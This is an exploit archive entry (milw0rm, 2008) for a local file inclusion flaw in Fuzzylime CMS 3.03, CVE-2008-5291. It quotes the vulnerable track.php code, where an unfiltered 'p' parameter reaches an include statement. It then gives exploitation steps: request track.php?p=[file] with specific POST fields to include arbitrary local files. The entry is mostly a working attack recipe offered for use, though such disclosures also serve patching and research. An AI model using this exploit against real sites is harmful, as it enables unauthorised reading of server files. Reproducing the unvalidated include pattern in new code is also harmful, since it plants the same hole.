Fuzzylime CMS 3.03 - 'track.php' Local File Inclusion



EKU-ID: 15086 CVE: OSVDB-50380;CVE-2008-5291 OSVDB-ID:
Author: Alfons Luja Published: 2008-11-25 Verified: Verified
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/*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln
 - code/track.php

  $m = $_GET[m];
  $p = $_GET[p]; //1
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
	header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
	 include "../blogs/$p.inc.php";     //4
   ...
1 $p is not filtered
2 When POST'S is set
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file]
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply

//Alfons Luja  25.12.2008

# milw0rm.com [2008-11-25]